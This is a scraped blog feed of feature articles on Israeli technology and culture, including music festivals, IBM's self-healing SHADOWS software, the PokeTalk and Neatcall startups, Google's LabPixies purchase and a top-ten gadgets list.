Fans of Jacob’s Ladder compare the festival favorably with similar events in Europe and the US. Indeed, the relatively small size of Jacob’s Ladder gives it a homier feel that is perhaps more fitting for small Israel. The festival has branched out beyond its folk and country roots; in recent years rock, blues and a smattering of World music (such as the Balkan-gypsy-Russian band Yolki Polki) fill out the three-day line-up.

Jacob’s Ladder takes place just north of Tiberias, on the opposite bank of the Sea of Galilee from the Ein Gev Festival. A bit further north you come to Safed, renowned both for its mystical Old City – the birthplace of much of today’s trendy kabala – and a funky artist’s quarter. Both are the unlikely setting for a festival featuring European Jewish “soul music,” or klezmer.

The Safed Klezmer Festival was launched in 1988 and now features more than 100 performances, which fill every nook and cranny of the city as well as the local Red Mosque. Local artists set up their wares on craft tables and there are salutes to non-klezmer musicians such as the late singing Rabbi Shlomo Carlebach.

Band performing at the Klezmer Festival in Safed, 2003 (Photo: GPO/Avi Ohayon)

The festival attracts upward of 15,000 visitors a year. Indeed, tallying up the demand for accommodations at the Ein Gev, Jacob’s Ladder and Klezmer Festivals, the upper Galilee region has experienced quite a boon.

At the opposite end of the country, the Red Sea Jazz Festival may be the best known overseas of Israel’s music extravaganzas. Taking place in Eilat (in and of itself an international destination, tucked between Egypt, Jordan and Saudi Arabia), this festival is a major draw for international talent.

Singer Ahinoam Nini performing at the Tel Aviv Jazz Festival, 1990 (Photo: GPO/Alpert Nathan)

Held over four days with nine concerts a night, six “clinics” and nightly jam sessions, plus an outdoor stage facing 4,000 seats, it’s no wonder that the festival has been graced by the likes of Chick Corea, the Mingus Big Band, Tower of Power, The Manhattan Transfer, Ricki Lee Jones, and Spyro Gyra since its inception in 1987.

 

Meanwhile, classical music fans can claim their share of the music on Israel’s burgeoning festival scene. The premiere event is the Abu Ghosh Vocal Music Festival, which takes place in the Israeli Arab village of the same name, just a10-minute drive from Jerusalem.

The festival is actually one of Israel’s veterans, inaugurated in 1957, but it was discontinued in 1971, to be re-launched in 1992. Music from Schubert to Bach, Mozart to Brahms, with a special “baroque hit parade” thrown in for good measure, is played in and around the Kiryat Yearim Church, with street performances popping up in the alleys, groves and grottos of the village.

– YouTube: The Moran Singers Ensemble, Abu Ghosh 2007
– YouTube: Opera at the Abu Ghosh festival

For hungry visitors, Abu Ghosh is also known for its outstanding hummus and knafe (an Arab dessert made with cheese and pistachio nuts), and the local restaurants do a brisk business during the weekend-long festival.

During the past 10 years, the festival landscape in Israel has taken a turn toward the new age. The biggest of the new age festivals is Boombamela. Launched in 1999, it is held during the intermediary days of Passover, and upwards of 40,000 people congregate on the Nitzanim beach between Ashdod and Ashkelon to go with the flow.

The festival grounds are divided into small “villages,” with a holistic area, which includes workshops in various forms of artistic expression, meditation and lots of yoga; a “green revolution” village, which – in full new age garb – describes itself as an “alternative universe that runs parallel to this one…waiting for you to switch sides” (it also features more plebian concerns such as a recycling center); a face and body painting area; and in recent years, a prayer quarter, for those who want to more fully observe the Sabbath.

The new age Boombamela festival at Nitzanim beach attracts more than 40,000 people

And then there’s the music, of course: Nightly concerts on the water; two trance dance floors in the sand with live DJ’s; and even belly dancing. And oh yes, for those with a less-inhibited vibe, there’s a separate nudist beach.

Sagol is a more laid back new age festival, which focuses on “love and meditation.” Sagol is the Hebrew word for “purple” (“the color of the third eye, signifying the metaphysical world,” its organizers say), the Sagol Festival is held twice a year and attracts a turnout of around 5,000 for those “seeking spiritual essence and awareness.” The main musical program is on Friday night and starts with the Kabbalat Shabbat (liturgical prayers welcoming the Sabbath) service.

The Sagol Festival, first held in 1993, is actually part of a bigger endeavor – the Sagol Eco-Village, which trains participants in sustainable building practices with mud, organic gardening, and daily meditation. Volunteers also set up the festival itself, which wanders between its home base in the Negev desert and locations further north (the Hof Dor beach and Beit Shean in the Jordan Valley have both hosted Sagol in recent years).

Israel’s many festivals take place primarily on weekends and during the Jewish holidays. One could argue that these art and music festivals serve as a counter-balance for non-observant Israelis to the more traditional rituals practiced by religious Jews, making them a sort of alternative spiritual nourishment.

In Jerusalem, however, festivals are not held on the weekends. That hasn’t led to a shortage of music, however. The capital’s leading event is the annual Hutzot HaYotzer festival, for more than 30 years the country’s largest arts and crafts extravaganza. Every evening at 9:00 pm Israeli superstars take to the stage in the historic Sultan’s Pool with the Old City walls looming above.

A live theater performance at the Jerusalem International Arts and Crafts Fair

In recent years, Hutzot HaYotzer’s musical line-up has included bad boy Aviv Gefen; indie rockers The Church of Reason; master of modern Israeli love ballads Ivri Lieder; outrageous rappers HaDag Nahash; and Mediterranean crooner Arkadi Duchin. And at NIS 40 (just over $10) a ticket, including both concert and entrance, it is undoubtedly Israel’s best festival deal.

The list of Israeli music festivals goes on. There’s ethnic, with the annual Oud festival dedicated to the Turkish instrument that looks a bit like a pear-shaped guitar. If you prefer something more dramatic, there’s the sunrise rock concert atop Masada at the Tamar Festival. Another festival devoted to a specific instrument is the Guitar Festival of the Desert, and for nostalgic Anglos there’s the annual Woodstock Revival.

Exclusively Jewish music is on hand at RockAmi, while energetic small label rock can be found at the In-D-Negev program. A tribute to music from Spain, Portugal and Belgium can be heard at the Dona Gracia Festival, while bible lovers will groove to the sounds of Ehud Banai and Dudu Fisher at the Bible and Love Festival.

Want to be sure to catch them all? Here’s a list of the top festivals in the country according to dates, along with links to their websites:

April (Passover)

May/June

July

August

September/October (Sukkot)

November

This article originally appeared in January on the Ministry of Foreign Affairs website.
A related article on the Top 10 Music Festivals in Israel is on the This Normal Life website.

]]> https://bluminteractivemedia.com/2011/02/something-for-everyone-at-israels-music-festivals/feed/ 35 The Wedding Will Be Webcast https://bluminteractivemedia.com/2010/08/the-wedding-will-be-webcast/ https://bluminteractivemedia.com/2010/08/the-wedding-will-be-webcast/#comments Thu, 19 Aug 2010 10:16:01 +0000 https://bluminteractivemedia.com/?p=602

Sammy and Isaac

The happy couple "live"

A couple of weeks ago, we attended the wedding of good friends, Sammie and Isaac. The wedding was a blast with all the usual features of Israeli nuptials: chuppah, dancing, speeches and those greasy fried “cigars” stuffed with minced meat (of which I always partake too heartily).

There was one element, though, that I’ve never seen before (although maybe I’m just not invited to the right weddings). Prior to the simcha, the couple sent out an email that announced that, for those who couldn’t attend, the evening would be broadcast live over the Internet.

Now, live web streaming is nothing new and there are plenty of vendors eager to upgrade you to a “pro” account – Ustream and Livestream are just a couple that come to mind. I often catch up live online with TechAviv, a hi-tech group that meets monthly in the Tel Aviv area, when I’m feeling too lazy to hoof it over from Jerusalem. But I haven’t seen the technology used for a wedding.

The way it worked was a bit funky: one of the wedding guests had set up a small laptop with a built in camera and microphone facing the chuppah. When he wanted to pan around the crowd, he picked up the whole laptop and did a 360.

Since he had plugged the laptop into a 3G wireless card (I guess the wedding hall’s WiFi wasn’t dependable), he was able to later walk around the dance floor, as well as grab shots of guests chowing down at each of the tables – although with that brick of a broadcast unit, he wasn’t quite as nimble as a wedding photographer.

This isn’t state-of-the-art yet: the sound was muddled and the video not up to TV network quality (or even watered down YouTube, for that matter), but it’s still a great idea, not just for family that can’t make it from overseas but local guests for whom a time conflict may preclude in-person attendance.

And the coolest part: the video is still online. So even guests who were there can catch a glimpse of themselves doing the chicken dance.

If you want to view some of Sammie & Isaac’s wedding, here’s the link.

This piece appeared originally on the Israelity blog.

]]> https://bluminteractivemedia.com/2010/08/the-wedding-will-be-webcast/feed/ 34 Software: Heal Thyself https://bluminteractivemedia.com/2010/08/software-heal-thyself/ https://bluminteractivemedia.com/2010/08/software-heal-thyself/#comments Wed, 11 Aug 2010 05:41:11 +0000 https://bluminteractivemedia.com/?p=596

ibm-research

IBM research facility in Haifa

If your computer gets sick, would you rather give it a full system overhaul or the equivalent of a digital Advil to relieve the symptoms? Onn Shehory and his team at Israel’s IBM Haifa research facility have developed much more than a computerized analgesic. Say hello to the world’s first self-healing software.

The project – called SHADOWS for “a Self Healing Approach for Developing cOmplex softWare Systems” – was proposed by Shehory and funded by the European Union’s 6th Framework Program, a technology initiative that invests in promising international endeavors. The idea was to emulate how the human body behaves and apply it to software.

“When you develop some sort of dysfunction, the body senses this and reacts automatically,” Shehory says. “It is essentially self-monitoring.” SHADOWS does the same for computer systems. “It recognizes specific misbehaviors, classifies them into possible types of problems, and then for the serious ones, makes the appropriate adjustments,” he says. This may include inserting new lines of codes before a program runs or moving around memory resources, to prevent the most common reasons for system crashes.

In the case of memory, for example, Shehory explains that “we can manipulate the usage of memory without actually knowing where the problem is coming from. We don’t have to find the bug, just to know that something is wrong.”

That’s the same way that a pain and fever medication acts on the body. “Instead of a week of fever, you might just have a half an hour at the end of the week,” he says. “It doesn’t remove the root cause – the virus – but it will prevent the fever from coming back for a long time.

“In order to continue benefiting from the advances and innovations becoming available in the IT landscape, software developers and architects must begin to design software… to incorporate internal safeguards that can both identify and repair problems,” adds Yaron Wolfsthal, head of the Reliable Systems Technologies group at the IBM Haifa lab.

The need for self-healing software is clear: Computer systems are now ubiquitous, a part of everything from dishwashers to managing a countrywide electricity grid. The problem is that software systems are inherently buggy. Even utilizing software testing, reviews and other protective measures, “with millions of lines of code, it’s too difficult to identify all the problems in advance,” Shehory says.

Traditional approaches to fixing software have meant calling on engineers to sift through the code, locate the bug and repair it – a process that’s akin to searching for a needle in a digital haystack. And yet, “we can’t afford for systems to fail on critical missions… or even non-critical missions,” exhorts Shehory.

SHADOWS doesn’t go so far as to create self-aware artificial intelligence – no worries about a Terminator-style SkyNet attacking the planet. Nor is it specifically targeted at preventing terrorists from bringing down global networks. “It’s not about security, it’s about the robustness of the code,” Shehory explains, although he suggests that since SHADOWS can identify problems as they start to brew, it may allow programmers to jump into action if they sense a cyber-attack is imminent.

SHADOWS is sophisticated but doesn’t require any changes to existing legacy computer systems – it can sit alongside those programs monitoring their action and only start working its magic when it detects something awry. Shehory hopes, however, that programmers will speed things up by manually inserting “comments” when they write the software that can direct SHADOWS to look at, say, only 10,000 rather than a million lines of code.

The genesis of SHADOWS was a proposal IBM in Israel made to a European Union program that promotes collaboration in research and technology across Europe. Eight other partners joined IBM in the three-year, $5 million project – major universities including the University of Potsdam in Germany and the Brno University of Technology in the Czech Republic, and technology heavyweights such as Phillips Electronics of the Netherlands and the Spanish phone carrier Telefonica, which provided a case study on the use of the SHADOWS technology. The EU pays for 50 percent of the project with the IBM lab responsible for the other half.

Despite the innovation, SHADOWS is not yet ready for prime time – it’s more a general research-oriented framework than an actual, saleable product – although parts of it may be commercialized. Each partner in the project owns its own intellectual property should a marketable solution ultimately be developed.

In the meantime, Shehory is considering applying for a second stage grant to address the technology’s biggest limitation: The resistance of the people who write the computer systems that need SHADOWS to inserting machine-generated code automatically into their babies.

“The psychological effect is very strong,” Shehory admits. “If SHADOWS writes some new code, the programmer might be hesitant, thinking ‘can I trust this, will it work properly?’ “The solution may be as simple as adding a feature that “recommends” the change, allowing the engineer to decide whether or not to accept it.

Still, Shehory says, “we’re trying to find technical ways to address this difficulty without human intervention.” Software – heal thyself.

This article originally appeared on Israel21c.

]]> https://bluminteractivemedia.com/2010/08/software-heal-thyself/feed/ 43 Free Phone Calls: a PokeTalk Update https://bluminteractivemedia.com/2010/06/free-phone-calls-a-poketalk-update/ https://bluminteractivemedia.com/2010/06/free-phone-calls-a-poketalk-update/#comments Fri, 04 Jun 2010 07:25:50 +0000 https://bluminteractivemedia.com/?p=564

PokeTalk Woman on Phone

Do blondes have more fun on PokeTalk?

In January 2009, I wrote an article for Israel21c about PokeTalk, a then new startup offering free VoIP calls using regular phone lines. I bumped into the company’s founders Shai Genish and Boaz Bahar Wednesday night at a meeting of the TechAviv Founder’s Forum and I thought I’d share the original article with you here on the Blum Interactive Media along with some company updates.

The 2009 article was topical, coming in the midst of Israel’s Operation Cast Lead operation in Gaza. Since then, the company has expanded its offerings to include paid calls that can last longer than the free service’s maximum 10 minutes duration, along with many other cool features such as web callback and analytics.

But I also heard some disturbing news: PokeTalk has been hit by a significant amount of fraud where unscrupulous hackers have redirected calls, resulting in tens of thousands of dollars in charges for PokeTalk. The situation has gotten so bad that the company is now investing in building its own security software which will also be available to other VoIP services and not just PokeTalk.

Shai and Boaz are both very sincere and enthusiastic Israel entrepreneurs who I like a lot. So, here’s the original article without changes.

—————————————–

Residents of the southern part of Israel in range of missiles from Gaza can now make phone calls up to 30 minutes to their friends and relatives entirely for free, thanks to a new Israeli startup called PokeTalk. The service, which is already operational in 60 countries around the world, is good for any calls between two phone numbers in Israel’s 08 area code.

PokeTalk has been flying high since its launch three months ago. The company, founded by two 25-year-olds in Tel Aviv – Shai Genish and Boaz Bahar – has signed up 70,000 users nearly entirely on word of mouth and viral marketing alone.

The service, like fellow Israeli-founded company Jajah, uses voice-over-IP to connect regular phones, not just two computers.

As with any good idea, though, there’s a catch: calls are limited to 10 minutes. The promotion on Israel’s front lines triples that amount.

Ten minutes (or even 30) may seem like a deal breaker but, says Genish, the average call placed is only two minutes and 40 seconds. And 70 percent of calls from a mobile phone are a mere 80 seconds. “Other than for business calls, 10 minutes is usually more than enough.”

PokeTalk is essentially an automated version of the call back systems that were once popular in Israel as a way of saving money. But rather than calling a certain phone number, with PokeTalk you enter your number and the number you want to call on the PokeTalk site. A few seconds later, your phone rings. You pick up and PokeTalk places the call.

I took a test drive and the quality is quite good – certainly on a par with other voice-over-IP systems like Vonage, Gizmo5 or even Skype.

So how can PokeTalk offer even 10 minutes of talk time for free? On-site advertising. Since you’re required to initiate your call from the web, PokeTalk can show you advertisements on screen. That’s a whole lot less annoying than some other free phone systems that put 10-second audio ads before a call is connected.

After only three months in operation, PokeTalk is far from profitable – only 50 percent of calls are covered by ad revenue – but the small eight-person company has raised $1.25 million from Maayan Ventures and private investors. Genish says he hopes to be in the black by the end of 2009.

PokeTalk calls can originate from 13 countries – including Israel, the US, Canada and Germany, though notably not the UK – and can be connected to 60 nations, from Kazakhstan to New Zealand. Mobile phones are supported in nine countries.

Of PokeTalk’s 70,000 users, 40,000 are in Israel. A viral “refer a friend” program has been successful at recruiting new users too (if your friend signs up, you receive an extra 10 minutes on your next call).

On an average day, up to 7,000 users login and make close to 18,000 calls.

The company has been featured on Israel’s Channel 10 news and in The Marker and Globes business supplements. Genish estimates that a series of interviews that appeared in the “VoIP Guides” online publication led to some 10,000 new users.

The company’s current promotion in the south of Israel probably won’t generate a significant number of new customers, but it’s a noble gesture that helps local residents in tough times.

]]> https://bluminteractivemedia.com/2010/06/free-phone-calls-a-poketalk-update/feed/ 17 LabPixies Investors Share Insights into Company’s Acquisition by Google https://bluminteractivemedia.com/2010/05/labpixies-investors-share-insights-into-company%e2%80%99s-acquisition-by-google/ https://bluminteractivemedia.com/2010/05/labpixies-investors-share-insights-into-company%e2%80%99s-acquisition-by-google/#comments Mon, 24 May 2010 10:42:36 +0000 https://bluminteractivemedia.com/?p=560

Yaron Carni 2

Yaron Carni, lead investor

Google’s announcement last month that it was acquiring Tel Aviv-based LabPixies for a rumored $25 million caught some Israeli analysts by surprise. That’s a tidy sum for a small startup with just 12 employees that has raised less than $2 million over its four years of operation.

Yaron Carni, LabPixies’ lead investor wasn’t caught out, however. “I immediately loved the company’s products, their vitality and, of course, the team,” he said. Speaking on behalf of a handpicked group of angels including Auren Hoffman and Fabrice Grinda, Carni added “we were all deeply impressed with the character, commitment, talent and forthrightness of the founders.”

LabPixies was particularly attractive to Google due to the company’s role in developing some of the first and subsequently leading ‘gadgets’ for the iGoogle platform, Google’s alternative interactive home page. LabPixies products have garnered as many as one billion impressions a month while signing up 40 million users. One of its most popular products is ‘Flood-It,’ a game that involves dragging colored balls around the screen. “It’s very addictive,” admitted Carni.

LabPixies also builds translating programs, news and weather reports, calculators and calendars that run on other social network services including Facebook, Hi5, Yahoo and MySpace, as well as Google’s own Android mobile operating system.

However, LabPixies doesn’t make its money from the Web, but by selling mobile apps, primarily for the iPhone. Company CEO Ran Ben-Yair won’t divulge financial information, but he did tell the Israeli business journal The Marker several months back that the company has “millions of dollars in revenues.” Carni added that the company has kept costs down by staying “lean.”

Despite Google’s increasing competition with Apple in the mobile space, there’s no indication that the search engine giant will drop its support for LabPixies’ iPhone products.

Google plans to merge LabPixies into its Tel Aviv office, which according to a press release “will anchor our iGoogle efforts across Europe, the Middle East and Africa,” leveraging LabPixies’ “knowledge and expertise to help developers and improve the ecosystem overall.”

The big winners, of course, are the investors and LabPixies founders – CEO Ben-Yair, VP R&D Oded Poncz, VP business development Nir Tzemah, and creative director Udi Graff.

Investor Fabrice Grinda wrote on his blog that he was “seduced by the company. They had crazy amounts of traffic in the right countries (Western Europe and the US). Their users loved them. Moreover, their products fell squarely in a rapidly growing ecosystem: Social networks and mobile applications.”

If anything, Grinda was sorry to “sell so early. The company and team are great and the category is only becoming bigger.”

Google Israel’s managing director, Prof. Yossi Matias, is understandably bullish on high-tech in the country. “Google believes in Israeli innovation and creativity and we’ll continue to strive for collaborations with local companies and startups in the future,” hesaid .

Carni, in turn, is a big believer in Google. The deal to buy LabPixies spanned a number of months, Carni said, during which time Google was “a pleasure to work with… from the product people to the human resources professionals. They were always direct, honest and comprehensive.”

LabPixies is Google’s first acquisition in Israel. The company joins other international Internet heavyweights such as AOL, Microsoft and eBay who have invested in the local Silicon Wadi high-tech scene. Google has been active in Israel since 2005 but has never bought a company until now.

This post originally appeared on the Israel21c website.

]]> https://bluminteractivemedia.com/2010/05/labpixies-investors-share-insights-into-company%e2%80%99s-acquisition-by-google/feed/ 8 A Neat Trick for Scheduling Meetings https://bluminteractivemedia.com/2010/03/a-neat-trick-for-scheduling-meetings/ https://bluminteractivemedia.com/2010/03/a-neat-trick-for-scheduling-meetings/#comments Mon, 22 Mar 2010 05:38:31 +0000 https://bluminteractivemedia.com/?p=511

neatcalltNew startups have the best shot at success when they address a “pain point” – an issue that causes discomfort, annoyance or even loss of business.

Tel Aviv-based Neatcall targets just such a situation, one that will be immediately familiar to anyone who’s ever tried to schedule a meeting with two or more participants: Seemingly endless phone or email tag.

Neatcall’s solution is to marry mobile technology with a seemingly simple voting system. But as with any good start up, there’s a lot more under the hood.

“On average, setting up a meeting with more than two participants is a process that can take between half to a whole working day,” Neatcall CEO Dan Benger says.

We’ve all been there. A meeting initiator calls or sends out a message to the people who are required to attend. The respondents reply with their availability and the initiator then tries to find a time that works for everyone. Automated services, such as Microsoft Exchange, can speed things up, but they don’t eliminate the essential “trial and error” nature of a task that often seems to stretch on forever, especially if not all the participants are sitting at their computers at the moment the message is sent.

This is how it works: The initiator selects several free time slots from his or her calendar. A message is sent out to all attendees who then vote on which slots work best for them, in their order of preference. The Neatcall system tallies up the votes and shoots back the optimal time. If all agree, Neatcall books the meeting, sends out a confirmation notice, and follows up closer to the meeting’s actual time.

So far, the system is neat, so to speak, but not a major breakthrough. But Neatcall has another trick up its digital sleeve. It sends out its messages via multiple mobile formats – email, SMS, WAP, instant message or via the browser to a smart device like the iPhone or Palm Pre. Even on a basic phone, people can vote by simply responding to an SMS – “send S to select the first date, T for the second date” and so on.

Neatcall also offers location management so that scheduling requests are sent to attendees in the appropriate time zone. For iPhone users, there’s an app available from the Apple App Store.

It’s no surprise that Benger was the man to recognize the need for Neatcall, seeing as he previously served as VP of international marketing and business development at web and video conference call solutions company Interwise. Customers were satisfied with the quality of the conference calls, he says, but they frequently complained about how difficult it was to set up those calls. Interwise was purchased by AT&T in 2007 for $121 million.

In addition to its innovative approach to scheduling meetings, Neatcall also offers to conduct your meetings for you, with a package that comprises chat, audio and video conferencing from a single unified site.

While Neatcall’s basic innovation should help to solve an existing problem, it may be difficult for the company to make headway with the rest of its package, given that the market is already saturated with conferencing companies such as Webex and GoToMeeting which lead the space.

Benger is hoping that the fact that Neatcall’s service is entirely browser-based, unlike competing software which requires users to download an application, will make the difference.

Neatcall sells its service directly to companies – Benger says there are several deals in the pipeline but won’t reveal their names – for up to $12 per user per month, with the price depending on whether Neatcall is handling just the scheduling or total conferencing delivery. About 200 corporate users in Israel, Europe, Australia and the US have already tried the system.

With only four employees, a few contractors and an investment of $500,000 from the Netanya-based incubator Targetech and Israel’s Chief Scientist’s Office, Neatcall is small, but looking to grow.

When I set up my interview with Benger, he used Neatcall to handle the scheduling. I received confirmation and reminders via both email SMS. And that was just, well (wait for it)… really neat.

I wrote this article last year for Israel21c – here’s the link.

]]> https://bluminteractivemedia.com/2010/03/a-neat-trick-for-scheduling-meetings/feed/ 6 Israel’s Top Ten Must-Have Gadgets https://bluminteractivemedia.com/2010/03/israels-top-ten-must-have-gadgets/ https://bluminteractivemedia.com/2010/03/israels-top-ten-must-have-gadgets/#comments Wed, 10 Mar 2010 09:48:13 +0000 https://bluminteractivemedia.com/?p=490

Israelis love technology. They are early adapters, and relentless innovators, always looking for ways to improve their lives in every possible area.

With the country’s talent for development, it’s no surprise that some of the world’s top gadgets were designed and developed in Israel. Israel21c asked me to put together a list of the ten best. Here’s my take:

1. DiskOnKey
sandisk-cruzer-micros 2
Dov Moran, founder of Modu (see below), previously hit the big time with his company M-Systems, which developed the very first DiskOnKey (or DiskOnChip as M-Systems originally dubbed it).

The concept is simple enough: Jam up to 64 gigabytes of data onto a tiny gadget no larger than a house key. The latest versions actually look like a key and can hook onto your key chain.

DiskOnKeys were part of the “one-two sucker punch” that killed the venerable floppy disk (the other being cheap recordable CD-ROMs and later DVDs). Aside from being a reliable way to transfer data from computer to computer, disk-on-keys are now finding new life, expanding the storage space of the latest portable craze, the NetBook.

In 2005, PC World named the DiskOnKey one of the world’s top 10 gadgets in the last 50 years. In 2006, international powerhouse SanDisk purchased M-Systems for $1.6 billion.

2. Powermat
CES-Powermat3x_Netbook 2
How many power cables do you have running under your office desk for all your computers, hard drives, modems, routers, etc.? How about those kitchen appliances and their connections to the sockets? Wouldn’t it be great to get rid of the clutter?

That’s what Powermat promises to do. The Israeli company’s technology lets you embed a power grid in just about anything – from a desk to a kitchen counter. Then, with a wireless receiver hidden inside a device, there’s no need for plugs anymore. Just position the device or appliance near a power “hotspot” and away it goes.

In a demo on the company’s website, a salesperson goes so far as to pour water all over a “Powermatted” kitchen counter – with no burn-outs or electrocutions. Other demonstrations show iPods and Blackberries charging when simply placed on a table.

The company is a joint venture between Michigan-based HoMedics and Israel’s Powermat. The first products will be available in time for this winter’s shopping season.

3. Epilady

epiladys
The story of this gadget is fraught with intrigue. We’re talking about a hair removal product invented in Israel that now has copycat versions worldwide. The original Epilady “epilator” was released in 1986. It had a rotating spring that worked by catching hair and pulling it out. It isn’t pleasant but, according to women, it works.

Newer versions have more of a tweezer action. Either way, the result is not unlike a waxing treatment, except that you can do it yourself at home, for a fraction of the cost. An Epilady treatment lasts up to four weeks.

Epilady was the first but has been surpassed by international brands including Braun and Remington (Epilady sued Remington over patent infringement but lost). Still, the company has sold 28 million units over a 23-year career and now sports 13 different models from the “Traveler” to the youth-marketed “Epigirl.”

Ironically, when the first Epilady came out in Israel it was given the “American” sounding name “Nice and Easy” while the company used the “Epilady” moniker overseas.

4. Modu

modu-phone-jacketss
Modu looks something like a cell phone and something like an MP3 player, but isn’t really like anything you’ve ever seen before. Essentially, Modu is a tiny device with cellular capabilities that can be slipped into any number of “jackets” to give it a specific functionality. One jacket transforms Modu into a full MP3 player, in another it’s a camera. The plan is to create a mini-economy around Modu accessories.

Our favorite Modu jackets: Modu Executive (looks like a Blackberry); Modu Love (a stylish cell phone with a big heart); Modu Kids (imagine a cute green Nintendo DS); Modu Boombox (a little phone with big, built-in bass-enhanced speakers); and the Modu Bicycle Mate (that snaps onto your handlebars).

The company is facing increasing competition from Apple, Nokia, Palm and others, which may be why, despite raising nearly $130 million since its launch in 2007, Modu recently laid off 80 employees. Still, the news isn’t all bad. Just a week before the layoffs Modu announced the launch of a touch screen jacket using Google’s Android mobile operating system.

5. Boxee

Boxee Interface
Boxee isn’t exactly a gadget. It’s software that’s intended to be integrated into other companies’ gadgets as their Internet media operating system. If it were just a TV playback system, Boxee wouldn’t be so hot; after all Microsoft and Apple have similar solutions. But Boxee excels at playing all types of video, audio and even image files. YouTube, NetFlix, Flickr and Pandora are all built in. And Boxee also plays well on the Xbox.

There are also a bunch of nifty social networking features that allow you to share what you’re watching with friends or tweet in real time.

Boxee announced recently that it is coming out with its own standalone hardware – the “Boxee Box.” In the meantime, you can install it on any computer you have – absolutely free. We installed Boxee on the laptop we have connected to our television and we love it.

6. Eye-Fi

Eye-Fi
Here’s an idea that’s so obvious it’s a wonder no one else thought of it. You’re at a family event, your child says his or her first words and you have the good fortune to capture the moment with your digital camera. You want to share it with the world but to do that you’d have to get back to your house, plug the camera into your computer via a USB cord, upload it, and then post it to Facebook or your blog.

With Eye-Fi you can upload those photos wirelessly from anywhere. The company sells a standard SD card (that you need to run your camera, anyway) that has built-in WiFi connectivity. That means that anywhere there’s a hotspot (which these days is just about everywhere) you can upload your photos to one of 25 sites that you specify in advance through the Eye-Fi software.

The Eye-Fi works with all the top cameras, from Canon to Kodak. The company was founded in 2005 and two of its four founders, Yuval Koren and Ziv Gillat, are Israeli.

But we have to ask: Is there still a market for a wireless SD card? Anyone with an iPhone already has the ability to wirelessly upload pictures – and even video – immediately. The answer: Standalone cameras with higher resolution than a phone-cum-camera haven’t gone the way of the dinosaurs yet, nor is there any reason to think that they will, which means Eye-Fi has plenty of visibility ahead.

7. MobileEye

MobileEye
Speaking of visibility, another Israeli high-tech company, MobileEye, combines a tiny digital camera with sophisticated algorithms to help drivers navigate their vehicles more safely.

Consider the lane departure warning system. When a driver starts drifting out of a lane or doesn’t use the turn signals, the system rings an alert. The MobileEye application is so sophisticated that it can even sense when a driver is “about” to change lanes inadvertently.

Fused with the car’s steering system, MobileEye takes the camera that much further. Other applications include a forward collision warning, traffic sign recognition and pedestrian detection.

MobileEye has been around since 1999 and has deals with GM, BMW and Volvo, among others. The company maintains R&D in Jerusalem but is now headquartered in The Netherlands.

8. Ctera

ctera-cloudplugs
Israeli company Ctera makes a small gadget that connects to a USB hard drive, transforming it into a cloud-based offsite storage system.

It’s a two-step process. First, data is backed up from your main computer to the external drive. Next, it’s sent to servers “in the cloud.” The result is that your computer isn’t constantly sending data to the Internet and slowing down processing speed. With this gadget multiple computers can now be connected to a USB drive that used to be tethered to just a single machine.

Ctera’s “Cloud Plug” is small enough to fit in an envelope which can be mailed from an ISP (Internet Service Provider) to its customers. ISPs like the device because it gives them a way to monetize all the online backup traffic they’re losing to third party services. Ctera also sells the gadget direct to the public for $199. Given that it’s not a question of if, but when, your hard disk will die, cloud storage has a rosy future. Ctera aims to be in the thick of it.

9. Easy-2-Pick

easy2picks
Airplane travel is stressful. There are the security checks, uncomfortable seats, tasteless meals and then, of course, there’s the fact that you’re hurtling through the air at breakneck speeds in a tin box. But perhaps the worst party of all is waiting for your luggage. You never know when it’s coming up the conveyor belt. You grab a bag only to discover that it belongs to someone else. Wouldn’t it be great if you could just sit back and wait for your luggage to alert you when it’s arrives?

That’s the idea behind a simple device from Easy-2-Pick, a small Israeli company founded by two American Express travel agents. The gadget has two components. One piece attaches to the luggage, the other fits in your pocket. The range between the two pieces is only 15 meters, so the alert only sounds (it also lights up and vibrates) when your luggage is close by.

The Easy-2-Pick system was red hot when we first wrote about it last year. It seems to have floundered since then as the inventors search for distributors. Still, it’s a wonderful idea and we hope it succeeds. Imagine the same technology being applied to your keys… or your car, when you can’t remember where you parked.

10. Medical imaging via cell phone

rubinsky_smIn the Western world, we take for granted high-tech tools for physicians and hospitals such as the hand held ultrasound wand that displays the heartbeat of a fetus or detects a tumor. But how would you use that same device in a remote village in Africa where there isn’t even any electricity?

Boris Rubinsky, a professor at the Hebrew University in Jerusalem, has come up with a novel concept: blend the wand with a cell phone. The phone powers the medical imaging device, then transmits the resulting data to a central processing facility – perhaps even in Israel – where it’s turned into an image which can then be messaged back to the village physician’s phone

The entire process is not unlike the trend in medicine in recent years where X-rays taken in the US are sent to Israeli radiologists for review and then returned via the Internet – saving money and time (it’s daytime in Israel, while it’s still night in the US when radiologists may not be so readily available).

Rubinsky’s life saving gadget is still just in the prototype stage but it has a promising future (and Rubinsky has the patents to back it up). Next in line: Rubinsky is working on a gadget that will extract small amounts of electricity from potatoes – just enough to charge a cell phone in those same far flung third world villages.

]]> https://bluminteractivemedia.com/2010/03/israels-top-ten-must-have-gadgets/feed/ 7 Ginipic: Image Search on Steroids https://bluminteractivemedia.com/2009/12/ginipic-image-search-on-steroids/ https://bluminteractivemedia.com/2009/12/ginipic-image-search-on-steroids/#comments Thu, 24 Dec 2009 07:26:39 +0000 https://bluminteractivemedia.com/?p=437

GinipicIt’s happened to all of us at least once or twice in our careers. We’re writing a school paper or updating a website and we need a photo or graphic image to illustrate a point.

That usually entails searching a number of different photo sharing sites such as Google Images, Flickr, TwitPic, PhotoBucket, and others. Once you’ve found the picture you want, you have to click through to see the full size image, right click to download it, then choose Import to paste it into your Word document. And that’s assuming you’ve received the copyright clearance to use it.

What if you could do all this in 2 steps? That’s the idea behind Ginipic, a small Israeli startup with a big idea. Enter a search term and the Ginipic application crawls 15 different web-based photo sharing application. The software then presents the results on a single screen.

That’s already a big improvement from Google’s image search, which only displays a maximum of 25 photos on a page, requiring users to click the “Next Page” button repeatedly.

Ginipic will even search your own computer.

Once you find the image you want, simply drag and drop it into the application you’re using – whether that’s Word, PowerPoint or an email program. The Ginipic application is designed to work “side by side” with other programs to help eliminate switching back and forth between screens.

Ginipic shows copyright details and a photo’s Creative Commons status to keep you from inadvertently infringing (a dollar sign and a large “Buy Now” button appear when an image isn’t free).

Other goodies include the ability to instantly share images on social networks, set an image as your desktop background, and save it to a built-in “lightbox” that contains only those pictures you’ve selected to view.

The service is the brainchild of three young Israeli entrepreneurs and childhood friends from Even Yehuda: Lior Weinstein, Noam Finger and Orr Sellah (who, not coincidentally, are also the only employees in the company). Ginipic has taken on no investment to date but is currently looking.

